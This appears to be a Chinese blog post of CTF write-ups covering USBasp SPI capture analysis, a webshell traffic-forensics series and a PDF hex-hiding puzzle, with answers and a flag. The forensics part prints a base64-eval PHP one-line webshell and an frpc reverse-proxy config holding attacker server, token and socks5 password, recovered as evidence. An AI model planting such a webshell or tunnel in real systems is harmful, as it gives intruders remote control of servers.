1.[CISCN 2019 初赛]usbasp
2.[陇剑杯2021]Webshell系列
3.[NISACTF 2022]bqt
------------------------------------------------分割线------------------------------------------------------------------------
1.[CISCN 2019 初赛]usbasp
首先完善一下知识储备:USBasp是一种通过USB接口与电脑连接的编程器,它的作用是控制微控制器AVR,通过信号线和引脚传输信号,在通信过程中,USBasp属于从设备,而AVR则属于主设备(就是主机),它们之间的通信遵循SPI协议,并且可以被Salae Logic捕捉到
首先,题目给了一个usbasp.logicdata的附件,那我们就可以知道这个文件需要Salae Logic打开,同时因为是USBasp的logicdata,因此我们可以用Salae的Analyzer功能分析USBasp通信中遵循的协议,SPI,最终我们可以在MOSI(主设备输出)中找到flag

2.[陇剑杯2021]Webshell系列
webshell问1:问的是登录密码,找和login有关的包,同时寻找http的post请求,然后追踪http,找到答案

注意要解码其中的URL
webshell问2:说到日志文件,在分组详情里搜索.log,于是乎发现了这个

但是实际上这只是日志文件的相对路径(相对于web服务器存放文件的目录),可以再找找绝对路径,我们在tcp.stream eq 25中可以找到web服务器存放文件的根目录,在这个流中包含了Apache Environment,因此我们可以在其中发现根目录:

拼接起来就是答案
webshell问3:
这个问我有两种理解:1.在问2wp的第一张图中,我们发现黑客输入whoami指令,没有回显,所以有可能是www-data权限 我问的GPT~(doge)
2.再问2wp中,也是在tcp.stream eq 25往上翻,就可以发现User/Group:www-data这个实际上就是权限,所以也可以知道答案
webshell问4:
1.首先黑客得传脚本文件,所以找post请求http.request.method=="POST",然后webshell嘛,可能是php,jsp或者asp,找php,发现1.php,当然,这只是猜测,那为了证实猜测,找到了这个
黑客将一串base64编码解码后写入PHP文件,解码后结果是
<?php eval(base64_decode($_REQUEST[aaa])); ?>
经典的一句话木马,并且可以通过base64绕开某些敏感词过滤,所以坐实了,这就是webshell,答案出来了,1.php
webshell问5:
这题接着上题的思路,既然有了木马,就可用木马来配置代理工具,所以找1.php。然后找到了这条流量
发现代理工具的配置文件frpc.ini。所以代理工具客户端即为frpc。通过此代理工具客户端,黑客就可以对服务器远程控制
webshell问6,7:
同样的思路,1.php可以配置frpc,那么就可能包含回连服务端的ip
那么我们继续在流量中找,终于在一个配置文件中找到了一串十六进制字符

解码得到:
[common]
server_addr = 192.168.239.123
server_port = 7778
token= Xa3BJf2l5enmN6Z7A8mv
[test_sock5]
type = tcp
remote_port = 8111
plugin = socks5
plugin_passwd = JTn276Gp
use_encryption = true
use_compression = true
服务器的地址知道了,sock5的账号密码也一并出来了
3.[NISACTF 2022]bqt
首先把无后缀的附件放进010Editor,发现是PDF,然后修改后缀,盲猜是图片后面藏字,直接Ctrl+A,果然发现了一串字符,看起来是可以转字符串的,但是两两的值都大于128,所以试着给两两的hex-128,再转字符串,发现flag,发现的字符串和脚本如下:
c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd
hexstr="c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd"
ls=list(hexstr)
newls=[]
for i in range(0,len(ls),2):
newstr=ls[i]+ls[i+1]
newhex=int(newstr,16)-0x80
flagpart=chr(newhex)
newls.append(flagpart)
for c in newls:
print(c,end="")
得到
Hi, Ctfer! The flag is: flag{wefeoidjgoedsfiorpefdfggfdse}
搞定!
写了两节课了……呼 最近刷了蛮多题的……集中整理一下 也许明天继续
文章讲述了在CISCN2019初赛中使用USBasp进行编程器通信的SPI协议分析,以及陇剑杯2021中Webshell系列问题解决,涉及密码破解、URL解码、权限查找、木马检测和代理配置。NISACTF2022中PDF隐藏字符和hex编码的使用技巧揭示了旗标。

1051

被折叠的 条评论
为什么被折叠?



